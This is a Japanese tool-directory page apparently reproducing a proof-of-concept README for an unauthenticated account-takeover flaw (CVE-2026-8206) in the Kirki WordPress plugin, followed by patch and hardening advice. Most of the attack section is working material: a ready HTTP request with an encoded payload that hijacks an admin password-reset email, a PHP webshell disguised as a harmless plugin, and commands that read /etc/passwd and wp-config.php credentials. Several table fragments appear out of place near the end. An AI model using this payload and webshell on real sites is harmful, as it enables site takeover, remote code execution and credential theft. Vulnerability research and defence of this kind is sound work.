Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework - 未認証のアカウント乗っ取り (CVSS 9.8) | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2026-8206
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証論文と研究学習と教育ペイロード開発
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework - 未認証のアカウント乗っ取り (CVSS 9.8)

124日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-8206

脆弱性: 認証なしアカウント乗っ取り — Kirki Customizer Framework におけるパスワードリセットメールの乗っ取り

CVSS v3.1 9.8 / 10.0 CRITICAL

ベクター: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. 概要

CVE-2026-8206 は、Kirki Customizer Framework — 90,000 以上のアクティブインストール数を誇る人気の WordPress ページビルダープラグイン — における認証なしアカウント乗っ取りの脆弱性です。この脆弱性により、攻撃者は単一の HTTP リクエストを送信するだけで、任意の WordPress アカウント(管理者を含む)を乗っ取ることができます。

このバグは、ComponentLibrary モジュールの REST API エンドポイント kirki-forgot-password に存在します。このエンドポイントは任意のユーザーのパスワードリセットをリクエストでき、リセットリンクをユーザーの登録メールアドレスではなく攻撃者が指定したメールアドレスに送信します。

情報詳細
プラグインKirki Customizer Framework (WordPress ページビルダー)
影響を受けるバージョン6.0.0 – 6.0.6
修正済みバージョン6.0.7 (または 6.0.12+)
脆弱性タイプパスワードリセットメール乗っ取りによる認証なしアカウント乗っ取り
エンドポイント/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (または /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 CRITICAL

悪用の前提条件:

  • Kirki Customizer Framework 6.0.0–6.0.6 が有効化されている
  • REST API が公開されている (WordPress のデフォルト)
  • ComponentLibrary モジュールが有効である (プラグイン有効化時のデフォルト)
  • アカウントやセッションは不要

→ Kirki 6.0.0–6.0.6 がインストールされているすべての WordPress サイトは、デフォルトで脆弱です。

2. 用語解説

ComponentLibrary REST エンドポイント

Kirki は、Component Library 機能用に、login、register、forgot-password、change-password を含む REST API エンドポイントを登録します。これらはすべてゲストアクセスを許可します (guest_permissions_check が true を返します)。

Nonce 検証

WordPress の nonce は CSRF 保護トークンです。Kirki は X-WP-Element-Nonce ヘッダーを介した nonce を要求するか、リクエスト内の nonce パラメータをチェックします。ただし、nonce はクライアント側から公開的に生成・抽出できます。

パスワードリセットキー

WordPress は get_password_reset_key() を使用してパスワードリセットトークンを生成します。このトークンは、Kirki によって送信前にメールテンプレートに含められます。

3. 根本原因 — パスワードリセットメールの乗っ取り

ファイル: ComponentLibrary/controller/CompLibFormHandler.php

バグ 1: メールアドレスとユーザーの照合の欠如

脆弱なバージョン (6.0.0–6.0.6) では、handle_forgot_password() 関数は、提供されたメールアドレスがユーザーの登録メールアドレスと一致するかどうかを検証しません。攻撃者は被害者のユーザー名と自身のメールアドレスを指定でき、リセットリンクは攻撃者のメールアドレスに送信されます。

脆弱なソースコード:

root@kitploit:~
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

バグ 2: メールテンプレートにおける HMAC 署名の欠如

メールの件名と本文は、整合性を検証する HMAC 署名なしで emailSubject および emailBody パラメータを介してクライアントから受け取られます。攻撃者は送信されるメールの内容を任意に改ざんできます。

root@kitploit:~
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. この脆弱性が危険な理由

要因説明
認証が不要guest_permissions_check() が true を返す — 誰でもエンドポイントを呼び出せる
任意のアカウントを乗っ取り可能

5. 攻撃チェーン分析

CVE-2026-8206 の悪用は、ゼロアクセス(アカウントなし、パスワードなし、セッションなし)から始まり、HTTP リクエストのみを使用して完全な管理者乗っ取りに至ります。

root@kitploit:~
Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 ペイロード構築手法

ステップ 1: ソースコードの調査 (最も正確な方法)

wordpress.org からプラグインをダウンロードし、CompLibFormHandler.php ファイルを直接開きます:

root@kitploit:~
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ コードを読むとわかること: emailBody は JSON 配列である必要があり、各項目は type と value を持ちます。type = chip かつ value = reset_link の場合、Kirki はメールにリセットリンクを自動的に挿入します。

ステップ 2: プラグインの JavaScript バンドルの grep 調査

プラグインディレクトリ内を直接 grep します:

root@kitploit:~
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

コンパイル済みのフロントエンドコードから、必要な正確な JSON 構造が判明します。

ペイロード発見プロセスのまとめ:

root@kitploit:~
Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 フェーズ 1: パスワードリセットメールの乗っ取り

攻撃者は、被害者のユーザー名 (admin) と攻撃者が管理するメールアドレス ([email protected]) を指定して、forgot-password エンドポイントに POST リクエストを送信します。サーバーは被害者用のリセットキーを生成しますが、リセットリンクは [email protected] に送信されます。

リクエストの送信:

root@kitploit:~
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

リセットメールを送信するインターセプターのリクエスト

レスポンス (成功):

メール送信を確認するレスポンス

攻撃者のメールボックスで受信されたメール (http://localhost:8025 の MailHog):

root@kitploit:~
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

リセットキーを受信した MailHog の受信トレイ

5.2 フェーズ 2: パスワードリセットと管理者ログイン

攻撃者は、メールから取得した key トークンを使用して、kirki-change-password エンドポイントまたは WordPress のデフォルトフォームを介して管理者アカウントのパスワードを変更し、ログインしてウェブサイトの完全な管理権限を獲得します。

パスワードリセットフォーム

パスワードが変更され、admin アカウントでアクセスされました。

管理者ダッシュボードへのログイン成功

アカウント admin へのアクセスに成功。

5.3 フェーズ 3: ウェブシェルのアップロードと RCE

管理者ダッシュボードへのアクセスを獲得した後、攻撃者は WordPress のデフォルトのプラグインアップロード機能を通じて、アカウント乗っ取りからリモートコード実行 (RCE) へと昇格させます。

ステップ 1: ウェブシェルを含むプラグインの作成

攻撃者は、正規の WordPress プラグインを装った PHP ウェブシェルを作成します:

root@kitploit:~
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

このファイルは、管理者インターフェースからのアップロード用に system-health.zip に圧縮されます。

ステップ 2: 管理者ダッシュボードからプラグインをアップロード

攻撃者はプラグイン → 新規追加 → プラグインのアップロードに移動し、system-health.zip ファイルを選択して今すぐインストール → プラグインを有効化をクリックします。

プラグインアップロード画面

アップロード後、WordPress は .zip ファイルをサーバー上の /wp-content/plugins/ ディレクトリに自動的に展開し、ウェブシェルが動作可能な状態になります。

ステップ 3: サーバー上でコマンドを実行 (RCE)

攻撃者はエンドポイント /wp-content/plugins/webshell-plugin/shell.php を介してウェブシェルに直接アクセスします

RCE コマンド実行 whoami

RCE コマンド実行 passwd

RCE 成功。

この時点で、攻撃者は www-data 権限でサーバー上で完全なコマンド実行能力を持ちます。その後のアクションには以下が含まれる可能性があります:

権限昇格チェーンのまとめ:

root@kitploit:~
Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. 攻撃チェーンのまとめ


7. 防御と対策

7.1 プラグインのパッチ (恒久的な修正)

現在のバージョンアップグレード先
6.0.0 – 6.0.66.0.7 以降

7.2 コード修正 — メールアドレスがユーザーと一致することを検証

root@kitploit:~
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 堅牢化 — RCE 昇格の防止

管理者アカウントが侵害された場合でも、以下の対策により被害を軽減できます:

ツールをダウンロード
ユーザー名のみが必要 (デフォルト: 'admin') — メールアドレス・パスワードは不要
影響: 管理者乗っ取り管理者乗っ取り → ウェブシェルアップロード → RCE → サーバー完全掌握
広範な影響Kirki は多くの WordPress テーマに広く統合されているプラグイン
コマンド目的
id実行中ユーザーの権限を確認
whoami現在のユーザー名を表示
cat /etc/passwdシステムのユーザーリストを読み取る
uname -aカーネル/OS 情報を表示
cat wp-config.phpデータベースの認証情報を読み取る
ls -la /ファイルシステム全体を閲覧
#フェーズメソッドパス
1リセットメールの乗っ取りPOST/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
2パスワードリセットGET/wp-login.php?action=rp&key=<token>&login=admin
3管理者ログインPOST/wp-login.php
4ウェブシェルのアップロードPOST/wp-admin/update.php?action=upload-plugin
5RCEGET/wp-content/plugins/webshell-plugin/shell.php?cmd=<command>
対策設定
ダッシュボードからのプラグイン・テーマインストールをブロックwp-config.php に define('DISALLOW_FILE_MODS', true); を追加
ダッシュボードからのコード編集をブロックwp-config.php に define('DISALLOW_FILE_EDIT', true); を追加
アップロードディレクトリのパーミッションを制限ディレクトリは chmod 755、ファイルは chmod 644
WAF (Web Application Firewall)ModSecurity または Cloudflare WAF を導入し、REST API への異常なリクエストをブロック
監視OSSEC や Wordfence などのツールで /wp-content/plugins/ のファイル変更を監視